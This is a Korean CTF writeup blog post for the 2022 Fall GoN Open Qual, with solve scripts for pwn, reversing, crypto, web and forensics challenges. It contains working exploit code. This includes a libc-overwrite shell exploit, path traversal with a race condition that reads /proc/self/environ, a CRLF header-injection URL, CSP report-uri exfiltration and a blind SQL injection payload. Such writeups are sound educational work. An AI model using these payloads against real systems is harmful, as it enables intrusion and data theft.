Profile

i love cat

as3617

2022 Fall GoN Open Qual CTF writeup

3등했다.

A: Zero Gravity

주어진 바이너리를 분석해보면 oob 취약점이 발생한다.

릭은 생각보다 간단하게 잘 되는데 overwrite를 할 때 부동소수점 연산의 정확도가 낮아서 맘대로 잘 안 덮혀서 좀 고생했다.

Float 연산해서 넣어주면 이제 제대로 덮을 수 있는데 memset함수의 첫 번째 인자가 우리가 입력하는 데이터여서 그냥 memset을 system함수로 덮어주면 된다.

solve.py

from pwn import *
import struct

# p = process("./zero_gravity")
p = remote("host1.dreamhack.games", 18359)
e = ELF("./zero_gravity")
# libc = e.libc
libc = ELF("./libc.so.6")

def read(index):
    p.sendlineafter(">>", "r")
    p.sendlineafter(">>", str(index))
    return float(p.recvline())

def add(index, value):
    p.sendlineafter(">>", "a")
    p.sendlineafter(">>", str(index))
    p.sendlineafter(">>", str(value))

f2u = lambda x: u32(struct.pack("<f", x))
u2f = lambda x: struct.unpack("<f", p32(x))[0]

add(16, u2f(0x41414141))

libc_base = (f2u(read(-25)) << 32) | f2u(read(-26)) - libc.sym["__isoc99_scanf"]

leak = f2u(read(-30))
add(-30, u2f((libc_base + libc.sym["system"]) & 0xFFFFFFFF) - u2f(leak))

p.sendlineafter(">>", "sh")

p.interactive()

B: Bomblab - Hard

주어진 bomb 바이너리를 분석해보면 6개의 일반 스테이지와 1개의 히든 스테이지가 있음을 알 수 있으며, 각종 안티디버깅 기법이 걸려있는 것을 알 수 있다.

안티디버깅 기법은 간단히 바이너리를 nop 패치하여 우회할 수 있으며, 6개의 일반 스테이지는 간단한 리버싱을 통해 그에 맞는 해답을 구해 넘어갈 수 있다.

히든 스테이지의 경우에는 표면상으로는 입력을 int로 받고 비교를 double로 해서 통과가 불가능해 보이지만, libc 환경을 맞춰주고 디버깅해보면 return address를 ROP payload로 채워서 특정 로직을 수행하는 것을 확인할 수 있다.

열심히 gdb에서 엔터를 눌러가며 분석하면 어렵지 않게 로직을 파악해 알맞는 해답을 구할 수 있다.

solve.py

from pwn import *
from z3 import *

p = process(argv=["./ld-linux-x86-64.so.2", "./bomb"], env={"LD_PRELOAD" : "./libc.so.6"})

print("[*] Phase 1: ", end="")
enc = [0x83, 0x9C, 0x89, 0x82, 0x93, 0x9F, 0x89, 0x9F, 0x8D, 0x81, 0x89]
answer = bytes(map(lambda x: x ^ 0xCC, enc)).decode()
print(answer)
p.sendline(answer)

print("[*] Phase 2: ", end="")
arr = [0]
for i in range(1, 6):
  arr.append(arr[i-1] + ((i * (i + 1)) // 2))
answer = " ".join(map(str, arr))
print(answer)
p.sendline(answer)

print("[*] Phase 3: ", end="")

s = Solver()
v1 = BitVec("v1", 64)
v2 = BitVec("v2", 64)

s.add(0 <= v1)
s.add(v1 <= 0xFFFFFFFF)
s.add(0 <= v2)
s.add(v2 <= 0xFFFFFFFF)
s.add(((v1 * 0x1AD7E715) >> 53) * 0x500BF == (v1 - v2) / 0x3D)

s.check()
m = s.model()
answer = "{} {}".format(m[v1], m[v2])
print(answer)
p.sendline(answer)

print("[*] Phase 4: ", end="")

v1 = BitVec("v1", 32)
v2 = BitVec("v2", 32)

s.add(v1 <= 0x7FFFFFFF)
s.add(v2 <= 0x7FFFFFFF)
s.add((v1 * (v1 * (v1 * v1 - v2) - v2 * v1) - v2 * (v1 * v1 - v2)) == 0xC6BE719)

s.check()
m = s.model()
answer = "{} {} {}".format(m[v1], m[v2], "c0m0r1bb")
print(answer)
p.sendline(answer)

print("[*] Phase 5: ", end="")
answer = "0.70710676" # found with some brute-forcing :)
print(answer)
p.sendline(answer)

print("[*] Phase 6: ", end="")
answer = "12 15 2 17 18 21 7 19 23 31 41 59" # found with binary reversing (prime table)
print(answer)
p.sendline(answer)

print("[*] Secret Phase: ", end="")

result = b"[R0P_M4DN3SS!!]"
answer = ""
for r in result.hex():
  answer += chr(int(r, 16) + 0x41)
print(answer)
p.sendline(answer)

p.recvuntil("Congratulations! You\"ve defused the bomb!\n")
flag = p.recvline().strip().decode()
print("[+] FLAG: {}".format(flag))

p.close()

C: pprintable

문제 제목과 같이 printable한 flag를 두 조각으로 나눠 p와 q를 설정했으며, p와 q의 비트 약 33%를 알려주었기 때문에 p와 q의 각 바이트마다 어느 정도 경우의 수를 구할 수 있다.

또한 N = p * q 이므로 N ≡ p * q (mod 2 ^ k) 임을 이용해 하위 바이트부터 브루트포싱을 수행해 p와 q를 구할 수 있다.

solve.py

import string

N = 0x12376eadc9b0bd1f13fa9d904f5a1a75bb7ddaaa77ec5b1e8dec4cb7532b662fcc63a0dfa982e1702be449c9b295bf7a0b7c6ba3dc7aaf3856d681601e723aa3bce3e0cd064793a9c6b00eb01d3e3f0fbceddb208cba2598d9d6a35f3cf8623a1389686807fb5f8f53dd0a7f544c02d030f498f7aa315b7547783399bc88cd3e2859b6786b858a35593537ead5a0cc48401a24cefe6ac6997035f6571af098d5d5b24313437fd89d22cce7fa5907d73c219b609eeea9bcffab0f18504e1d2ed5669752e21dd17b57ea5cf6e6efa76cd965e4589539dc087e152fb4d3f1f90edcdcab22b71b326a3e7e0674f8820a24aa3be15756db2e908d434b80419061bf45
e = 0x10001
p_redacted = 0x50b4040146040415a04084000094153182141460200401063040440024200046055600042240040410248014e00410444640240166000001e09141101084025181052000c30004260000406100601226058401613084a0040492001040404620100401344612000215221412811086840005d06001060000008460040025000
p_mask = 0x250b70401c6444455a8418d2800945d3182dc1c7060a4010630c0c4282c2a0047575e8084aa4207ac592ca034e02e78445640f40366020089e0b9791119940b53818d2842c3082ea70818e0610a601b2e35844169708ca00404931912e04046e01004893e4632c80a1da23c9ab310868d402dd0600307283300cd680c1a25602
q_redacted = 0x80902304402050a7145440048082208004041205b60014000102340106007002a240b0108404005604000190060092010010004504c2104002100140009020270500022101530484551206642004c1424200000202040042210204c4143704000480101004809114629230312040040000600400420520943204412216404
q_mask = 0xaa0809033046833d9e7945e420480822090ac0c1a35bf00b48a21223c23060070c2a240b0328c4c235e0408819817209a11531101c50cd21a6012309b40c292302f05000221c353a5845f126e65210ec9c24a0001820284004bf1a206c45637b4500680581894d0d1d46bb2b039a2e84d008a604508420d219c32166b2276c04
ct = 0x97090fc71e4c4c7fe52fb9c5cafde7bae8cf5f911c2755174f3a61515f475c7000d127e23ad99498bd58078abe2890fe40c64067116c66be74ac5422e731905103f4ecc4ae6cf9478580d6fb373744b897caf2b95f01531b626afb46eb88c0f5f419635a27f903ab8ffc55094e015008cbb9520f07755da279226fefa8859bfef694b86ca3fdf88042361d18ecb7ae1ecf98041140b3f167687f45e3da914ee35f9d345782438018310da609578a1047a99a9c54ff846eb2017ac26a0cfb8f5e542c0c7feba904e0ff15a6e2712c2135f9c80b057185cd31a8e9e5371194d063776bdf3537837c705d3761dd6f0ec9419034c294914015bc0e3fbea474fdc15

p_redacted = bin(p_redacted)[2:].zfill(1024)
p_mask = bin(p_mask)[2:].zfill(1024)

p_redacted_list = []
for i in range(0, 1024, 8):
    p_redacted_list.append(p_redacted[i:i+8])

p_mask_list = []
for i in range(0, 1024, 8):
    p_mask_list.append(p_mask[i:i+8])

p_possible_list = []
for i in range(1024 // 8):
    charset = list(string.ascii_letters + "_{}")
    for j in range(8):
        if p_mask_list[i][j] == "1":
            charset = list(filter(lambda x: bin(ord(x))[2:].zfill(8)[j] == p_redacted_list[i][j], charset))
    p_possible_list.append(list(map(ord, charset)))
p_possible_list.reverse()

q_redacted = bin(q_redacted)[2:].zfill(1024)
q_mask = bin(q_mask)[2:].zfill(1024)

q_redacted_list = []
for i in range(0, 1024, 8):
    q_redacted_list.append(q_redacted[i:i+8])

q_mask_list = []
for i in range(0, 1024, 8):
    q_mask_list.append(q_mask[i:i+8])

q_possible_list = []
for i in range(1024 // 8):
    charset = list(string.ascii_letters + "_{}")
    for j in range(8):
        if q_mask_list[i][j] == "1":
            charset = list(filter(lambda x: bin(ord(x))[2:].zfill(8)[j] == q_redacted_list[i][j], charset))
    q_possible_list.append(list(map(ord, charset)))
q_possible_list.reverse()

mask = 0xFF

pq_found_list = [(0, 0)]
for i in range(len(p_possible_list)):
    pq_found_list_t = []

    for p_found, q_found in pq_found_list:
        for p_possible in p_possible_list[i]:
            for q_possible in q_possible_list[i]:
                p_guess = (p_possible << (i * 8)) | p_found
                q_guess = (q_possible << (i * 8)) | q_found
                if (p_guess * q_guess) & mask == N & mask:
                    pq_found_list_t.append((p_guess, q_guess))

    pq_found_list = pq_found_list_t[:]
    mask = (mask << 8) | 0xFF

p_found, q_found = pq_found_list_t[0]
assert p_found * q_found == N

print("""
[+] Found p = {}
[+] Found q = {}
""".format(hex(p_found), hex(q_found)))

flag = (bytes.fromhex(hex(p_found)[2:]) + bytes.fromhex(hex(q_found)[2:])).decode()
print("[+] FLAG: {}".format(flag))

D: Obstacle

바이너리를 IDA로 뜯어보면 Objective-C로 컴파일한 바이너리라는 것을 알 수 있다.

평소에 보던 바이너리와 형태가 조금 다르지만 gdb를 통한 동적 분석을 겸하여 분석해보면 어렵지 않게 CBC 모드 블록 암호화 알고리즘을 파악할 수 있다.

solve.py

import struct

KEY = b"Sup3r_s4f3_k3y\x00\x00"
IV = b"Sup3r_4ws0me_1v\x00"

xor = lambda a, b: list(map(lambda x: x[0] ^ x[1], zip(a, b)))

def round1_enc(block):
    block_enc = xor(block, KEY)
    return block_enc

def round1_dec(block):
    block_dec = xor(block, KEY)
    return block_dec

def round2_enc(block):
    v1 = struct.unpack(">Q", bytes(block[:8]))[0]
    v2 = struct.unpack(">Q", bytes(block[8:]))[0]

    block_enc = []
    block_enc.extend(struct.pack(">Q", v2))
    block_enc.extend(struct.pack(">Q", (v1 ^ ((v2 >> 19) | (v2 << 13))) & 0xFFFFFFFFFFFFFFFF))

    return block_enc

def round2_dec(block):
    v1 = struct.unpack(">Q", bytes(block[:8]))[0]
    v2 = struct.unpack(">Q", bytes(block[8:]))[0]

    block_dec = []
    block_dec.extend(struct.pack(">Q", (v2 ^ ((v1 >> 19) | (v1 << 13))) & 0xFFFFFFFFFFFFFFFF))
    block_dec.extend(struct.pack(">Q", v1))

    return block_dec

__ROL1__ = lambda x, n: ((x << n) & 0xFF) | (x >> (8 - n))

def sbox_f(v23):
    if v23 == 0:
        v33 = 99
    else:
        v24 = 1
        v25 = 1

        # do
        v26 = v25 ^ (2 * v25) ^ 0x1B
        v27 = (v25 & 0x80) != 0
        v25 ^= 2 * v25
        if ( v27 ):
            v25 = v26
        v24 ^= (4 * (v24 ^ (2 * v24))) ^ (2 * v24) ^ (16 * ((4 * (v24 ^ (2 * v24))) ^ v24 ^ (2 * v24)))
        if ( (v24 & 0x80) != 0 ):
            v24 ^= 9

        # while
        while v23 != (v25 & 0xFF):
            v26 = v25 ^ (2 * v25) ^ 0x1B
            v27 = (v25 & 0x80) != 0
            v25 ^= 2 * v25
            if ( v27 ):
                v25 = v26
            v24 ^= (4 * (v24 ^ (2 * v24))) ^ (2 * v24) ^ (16 * ((4 * (v24 ^ (2 * v24))) ^ v24 ^ (2 * v24)))
            if ( (v24 & 0x80) != 0 ):
                v24 ^= 9

        v24 &= 0xFF
        v33 = __ROL1__(v24, 3) ^ __ROL1__(v24, 2) ^ v24 ^ 0x63 ^ __ROL1__(v24, 1) ^ __ROL1__(v24, 4)

    return v33

sbox = {}
sbox_inv = {}

for i in range(0x100):
    sbox[i] = sbox_f(i)
    sbox_inv[sbox_f(i)] = i

def round3_enc(block):
    block_enc = [None for _ in range(0x10)]
    i = 1
    for j in range(0x10):
        block_enc[i] = sbox[block[j]]
        i = (i * 9 + 3) & 0xF
    return block_enc

def round3_dec(block):
    block_dec = []
    i = 1
    for _ in range(0x10):
        block_dec.append(sbox_inv[block[i]])
        i = (i * 9 + 3) & 0xF
    return block_dec

flag_enc = list(bytes.fromhex("483918c5094768c537f60136658101142f7f30d93639b93020d8da002fbd1bcc186192025fe8b247530792b520c6c1a3b83789b93bc54ce30ae5d4f058213d45"))
flag_dec = b""

for i in range(0, len(flag_enc), 16):
    block = flag_enc[i:i+16]
    block = round2_dec(block)
    block = round1_dec(block)
    for _ in range(101):
        block = round3_dec(block)
        block = round2_dec(block)
        block = round1_dec(block)
    if i == 0:
        block = xor(block, IV)
    else:
        block = xor(block, flag_enc[i-16:i])
    flag_dec += bytes(block)

flag_dec = flag_dec.decode()
print("[*] FLAG: {}".format(flag_dec))

F: Heliodor

코드를 읽어보면 우리가 원하는 파일을 맘대로 다운로드할 수 있다.

https://github.com/nodejs/node/issues/43669

하지만 위의 이슈로 인해 플래그가 들어있는 /proc/self/environ을 받을 수 없다.

몇 번 이 이슈를 경험해본 적이 있어서 어떻게 하면 해결할 수 있을지 고민을 좀 해봤는데 레이스컨디션을 이용하여 fs.stat에서 /etc/passwd와 같은 파일을 가리켜서 정상적인 size를 반환하게 한 상태에서 fs.createReadStream에서 /proc/self/environ을 읽게 만들면 어떨까라는 생각이 들었고

이를 토대로 익스플로잇을 작성해서 돌려보니 실제로 작동했다.

solve.py

from pwn import *

context.log_level = "debug"
p1 = remote("host1.dreamhack.games",20043)
p2 = remote("host1.dreamhack.games",20043)
p3 = remote("host1.dreamhack.games",20043)

payload1 = """import requests

while True:
    requests.get("http://10.88.2.1:58283/query/view/..proc..self..environ")

"""

payload2 = """import requests

while True:
    requests.get("http://10.88.2.1:58283/query/view/..etc..passwd")

"""

payload3 = """import requests

while True:
    r = requests.get("http://10.88.2.1:58283/query/view/..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..root..proc..self..fd..21").text
    if "error" not in r:
        print("find : " +r)


"""
p1.sendlineafter("$","python3")
p1.sendlineafter(">>>",payload1)

p2.sendlineafter("$","python3")
p2.sendlineafter(">>>",payload2)

p3.sendlineafter("$","python3")
p3.sendlineafter(">>>",payload3)

p3.interactive()

G: Emerald Tablet

https://blog.sonarsource.com/disclosing-information-with-a-side-channel-in-django

아주 좋은 레퍼런스가 있다. 정말 친절하게 잘 설명해놔서 그냥 저대로 따라하면 된다.

solve.py

import requests
from bs4 import BeautifulSoup

url = "http://host1.dreamhack.games:10222/list/?sort=key.urn."
key = ""
for k in range(9,45):
#28,23,32
    url_ = url + str(k)
    res = requests.get(url_).text
    soup = BeautifulSoup(res, "html.parser")
    data = soup.select_one("table.table")
    t = soup.find_all("th",{"scope":"row"})
    uuid = {"0":[],"1":[],"2":[],"3":[],"4":[],"5":[],"6":[],"7":[],"8":[],"9":[],"a":[],"b":[],"c":[],"d":[],"e":[],"f":[]}
    tmp = -1
    j = 0
    for i in t:
        _ = int(i.get_text())
        if tmp > _:
            if j == 0:
                j = 1
            elif j == 1:
                j = 2
            elif j == 2:
                j = 3
            elif j == 3:
                j = 4
            elif j == 4:
                j = 5
            elif j == 5:
                j = 6
            elif j == 6:
                j = 7
            elif j == 7:
                j = 8
            elif j == 8:
                j = 9
            elif j == 9:
                j = "a"
            elif j == "a":
                j = "b"
            elif j == "b":
                j = "c"
            elif j == "c":
                j = "d"
            elif j == "d":
                j = "e"
            elif j == "e":
                j = "f"
        tmp = _
        uuid[str(j)].append(_)
        if k == 17:
            key += "-"
            break
        elif k == 22:
            key += "-"
            break
        elif k == 23:
            key += "4"
            break
        elif k == 27:
            key += "-"
            break
        elif k == 28:
            key += "?"
            break
        elif k == 32:
            key += "-"
            break
        elif _ == 1:
            key += str(j)
            break
    print(key)

print(key)

stable한 익스를 위해 글을 300~400개 정도 등록해두고 익스플로잇을 돌리면 flag 게시글의 uuid가 나온다.

중간에 물음표가 들어간 부분은 [a-f0-9]의 범위 안에서 돌려가면서 넣어보면 된다.

M: cheat

client 바이너리를 분석해보면 아래와 같이 움직이면 flag를 얻을 수 있을거라 추측할 수 있다.

11111110000001111111
10000010111001000000
10000010101001000000
10111110101001000000
10100000101001111110
10111111101000000010
11111110001111111110
00000010000000000000
11111011111101111111
10001000000000000001
11111111111101111101
00001000000000000101
11111000000000000111
10000000000000000000
11111111111111111100
11000000000000000100
11000111110000111100
11000100010111100111
11111100110100111101
11111111100111100001

server 바이너리를 분석해보면 1초에 최대 2칸 움직일 수 있음을 생각하며 잘 움직이면 flag를 얻을 수 있다.

solve.py

from pwn import *

context.log_level = "error"

p = 

pos = [0, 19]
def send_pos():
    p.sendline("{} {}".format(pos[0], pos[1]))
    sleep(1)

def move(x):
    global pos

    if x == "w":
      pos[0] -= 1
    elif x == "a":
      pos[1] -= 1
    elif x == "s":
      pos[0] += 1
    elif x == "d":
      pos[1] += 1
    elif x == "W":
      pos[0] -= 2
    elif x == "A":
      pos[1] -= 2
    elif x == "S":
      pos[0] += 2
    elif x == "D":
      pos[1] += 2

    send_pos()

send_pos()

s = "aaaaaassssdddddssaaaaaaaawwwwwaassssaaaaaawwddddwwwaaaaaassssssddddddssdddddDddddddssssaawwaaaaAaaaaaaaaaaawwddddsSsaaaasssssssddddddddwdwwaaaassaaaawwwwddddddddddddddddssaaasaaassdddwdddwddss"
for c in s:
  move(c)

p.interactive()

N: Private Storage

간단한 rc4 문제다. 암호화된 플래그를 주기 때문에 고정된 키를 사용할 때 발생하는 rc4의 취약한 특징을 이용해주면 플래그를 복호화할 수 있다.

https://github.com/gexxxter/RC4StaticKeyAttack

마침 좋은 스크립트가 있어서 이를 수정해서 돌려보니 플래그를 얻을 수 있었다.

import sys
import base64
import zlib
import string
from pwn import *
#context.log_level="debug"
p = remote("host3.dreamhack.games",15867)
def decrypt(plaintext,ciphertext,wantdecrypt):
    knownPlaintext = zlib.compress(plaintext.encode())
    knownCiphertext = ciphertext
    unknownCiphertext = wantdecrypt

    decrypted = bytearray()
    for i in range(0, len(unknownCiphertext)):
        p = knownPlaintext[i % len(knownPlaintext)]
        c1 = knownCiphertext[i % len(knownCiphertext)]
        c2 = unknownCiphertext[i] 
        decrypted.append(p ^ c1 ^ c2)

    print(zlib.decompress(decrypted))
    print("hi")
    sys.exit()

def writeFile(name,data):
    p.sendlineafter(">>","3")
    p.sendlineafter(">>",name)
    p.sendlineafter(">>",data)

def readFile(name):
    p.sendlineafter(">>","2")
    p.sendlineafter(">>",name)
    p.recvuntil(": ")
    data =p.recvuntil("\n")
    return base64.b64decode(data)

enc_flag = readFile("flag.txt")
print(len(enc_flag))
for i in range(1,100):
    print(i)
    text = "".join(random.choice(string.ascii_uppercase+ string.ascii_lowercase+ string.digits) for _ in range(i))
    writeFile(str(i),text)
    tmp = readFile(str(i))
    try:
        decrypt(text,tmp, enc_flag)
    except Exception as e:
        print(e)
        print("fail")
        pass

O: Checkers

코드가 많이 복잡한 문제지만 생각보다 간단하다.

Encrypt 로직을 잘 보면 처음 코드가 실행된 이후엔 같은 문자열에 대해 항상 동일한 값이 나오게 되며 입력된 글자를 2~3개 단위로 잘라서 암호화한다.

그렇기 때문에 그냥 브포 코드 짜서 flag랑 비교하면서 돌려주면 된다.

#!/usr/bin/python3
from pwn import *
import sys
import argparse

parser = argparse.ArgumentParser()

parser.add_argument("--prefix", help="")
args = parser.parse_args()
tmp = args.prefix
string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_/"

p = remote("host3.dreamhack.games",15261)

p.sendlineafter("Exit\n","3")
p.recvuntil("Flag :")
enc_flag = p.recvuntil("\n")[4:][:-2].decode()
print(enc_flag)
#tmp="STRADDLING_CHECKERBiO"
for i in range(0,57):
    cnt = 1
    for j in string:
        tmp_ = tmp + j
        print(tmp_)
        p.sendlineafter("Exit\n","1")
        p.sendlineafter("message\n",tmp_)
        p.recvuntil("message :")
        enc_data = p.recvuntil("\n")[:-1].decode()
        if enc_data == enc_flag[:len(enc_data)]:
            tmp += j
            cnt = 0
        else:
            continue

P: farmer

ext4 파일시스템 덤프가 주어진다. 다음과 같은 bash script를 실행해 mount할 수 있다.

#!/bin/bash
sudo mkdir /mnt/farmer
sudo mount ./dump /mnt/farmer

/home/ubuntu 디렉토리에서 바이너리와 암호화된 것으로 추정되는 파일들을 확인할 수 있다.

$ ls /mnt/farmer/home/ubuntu/
binary       flag.png.01  flag.png.03  flag.png.05  flag.png.07  flag.png.09
flag.png.00  flag.png.02  flag.png.04  flag.png.06  flag.png.08

바이너리를 분석해보면 srand(time(NULL))로 랜덤 시드를 설정하고 rand()를 사용해 나온 값으로 각종 암호화를 진행하는 것을 확인할 수 있다.

암호화된 파일들의 수정 시각을 확인해 랜덤 시드를 알아내 이를 통해 복호화를 진행할 수 있다.

solve.py

from ctypes import *
from Crypto.Util.Padding import unpad
import os

libc = CDLL("libc.so.6")

try:
    os.remove("flag.png")
except:
    pass

for n in range(10):
    path = "/mnt/farmer/home/ubuntu/flag.png.0{}".format(n)
    libc.srand(int(os.path.getmtime(path)))
    data = list(open(path, "rb").read())

    xor_key = [libc.rand() & 0xFF for _ in range(0x10)]

    enc_list = []

    for i in range(0x40):
        mode = libc.rand() % 3

        if mode == 0:
            list1 = list()
            list2 = list()
            sbox = {}

            for j in range(0x100):
                list1.insert(0, j)
            for j in range(0x100):
                r = libc.rand() % (256 - j)
                for _ in range(r):
                    list2.insert(0, list1.pop(0))
                v = list1.pop(0)
                for _ in range(r):
                    list1.insert(0, list2.pop(0))
                sbox[j] = v

            enc_list.append((mode, sbox))

        elif mode == 1:
            list1 = list()
            list2 = list()
            shuffle_list = list()

            for j in range(0x10):
                list1.insert(0, j)
            for j in range(0x10):
                r = libc.rand() % (16 - j)
                for _ in range(r):
                    list2.insert(0, list1.pop(0))
                v = list1.pop(0)
                for _ in range(r):
                    list1.insert(0, list2.pop(0))
                shuffle_list.append(v)

            enc_list.append((mode, shuffle_list))

        elif mode == 2:
            enc_list.append((mode, xor_key))

    for e_mode, e_arg in enc_list[::-1]:
        if e_mode == 0:
            sbox_inv = {v: k for k, v in e_arg.items()}
            for j in range(0, len(data), 16):
                for k in range(0x10):
                    data[j+k] = sbox_inv[data[j+k]]
        elif e_mode == 1:
            for j in range(0, len(data), 16):
                data_t = data[j:j+16][:]
                for k in range(0x10):
                    data[j+k] = data_t[e_arg[k]]
        elif e_mode == 2:
            for j in range(0, len(data), 16):
                for k in range(16):
                    data[j+k] ^= e_arg[k]

    with open("flag.png", "ab") as f:
        f.write(unpad(bytes(data), 16))

Q: API Portal

flag를 얻으려면 flag/flag.php로 리퀘스트를 보내야한다. 다행히도 proxy/post.php에서 내부에서 리퀘스트를 보낼 수 있는 기능을 지원해준다.

$header = "User-Agent: API Portal Proxy\r\n";
$header .= "X-Forwarded-For: {$ip}\r\n";
$header .= "X-Api-Referer: {$referer}";

$ctx = stream_context_create(array(
    "http" => array(
        "method" => "POST",
        "content" => "", //TODO: implement
        "header" => $header
    )
));

Post data를 컨트롤 할 수 없을 것처럼 보이지만 header부분에서 crlf injection이 된다. 그걸로 post data를 적절하게 구성해준 다음 서버로 요청을 보내면 플래그를 얻을 수 있다.

challenge_server?action=net/proxy/post&url=127.0.0.1/%3faction=flag/flag&%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length:%2024%0d%0a%0d%0amode=write&dbkey=a&key=a

위와 같이 보내면 flag를 base64 인코딩해서 내 db에 넣을 수 있고 read기능을 이용해서 flag를 읽어주면 된다.

R: 100-100

<?php 
include "tools.php";

header("Content-Security-Policy: default-src 'none'; base-uri 'none'; navigate-to 'none';");
if($_GET["extreme"])
    header($_GET["extreme"], false); // FYI: second "false" means "don"t override existing header"

function simple_template($input) {
    $input = str_replace("{{flag}}", get_flag(), $input);
    $input = str_replace("{{hint}}", get_hint(), $input);
    $input = str_replace("{{coke}}", "pepsi", $input);
    $input = str_replace("{{mintchoco}}", "<h1><b>NOT toothpaste</b></h1>", $input);
    $input = str_replace("{{referer}}", htmlspecialchars($_SERVER["HTTP_REFERER"]), $input);
    $input = str_replace("{{get0}}", htmlspecialchars($_GET[0]), $input);
    $input = str_replace("{{random}}", rand(100000, 999999), $input);
    return $input;
}

?>

<?= simple_template(substr($_GET["content"], 0, 100)) // wow one more 100 ?>

헤더를 맘대로 컨트롤 할 수 있으며 body에 원하는 데이터를 넣을 수 있다.

하지만 csp로 인해 script를 사용할 수 없으며 outbound 연결은 막혀있다고 한다. 그럼 이제 script없이 post data를 보내야 하는데

다행히도 csp에서 report-uri라는 것을 지원해준다. 대충 csp violation이 발생하면 지정된 url로 그것에 대한 정보를 보내는 건데 이때 post로 날라간다.

이를 이용하면 플래그를 얻을 수 있다.

http://host1.dreamhack.games:17712/prob.php?content=%3Cscript%3E{{flag}}%3C/script%3E&extreme=Content-Security-Policy:%20script-src%20%27nonce-1%27;%20report-uri:%20http://host1.dreamhack.games:17712/receiver.php?uid=a

S: sleepingshark

네트워크 패킷을 분석하는 문제다.

대충 패킷에 있는 http request를 읽어보면 time based blind sql injection 페이로드들이 들어있는데 flag라는 문자열이 있는 것을 통해 데이터베이스에서 추출하고 있는 데이터가 flag라는 것을 추측할 수 있다.

SELECT IF(ASCII(SUBSTRING((SELECT flag FROM s3cr3t LIMIT 1),35,1))=156, SLEEP(3), 0)

만약 플래그를 뽑는데 성공했으면 3초의 sleep이 걸릴 것이고 실패했다면 지연이 걸리지 않을 것이기 때문에 응답시간을 기준으로 플래그를 뽑으면 될 것이다.

image

위의 사진과 같이 시간 순으로 패킷을 정렬했을 때 3초 이상 지연이 걸린 패킷들을 발견할 수 있었다.

이후 해당 패킷들을 분석하여 플래그 조각을 뽑은 다음 잘 정렬해주면 플래그를 얻을 수 있다.

 

'ctf writeup' 카테고리의 다른 글

DiceCTF 2023 - unfinished  (0) 2023.02.06
Balsn CTF 2022 2linenodejs writeup  (0) 2022.09.07
LINE CTF 2022 web writeup  (0) 2022.03.27
Codegate 2022 Preliminary writeup  (0) 2022.02.27
Real World CTF 4th - web writeup  (0) 2022.01.30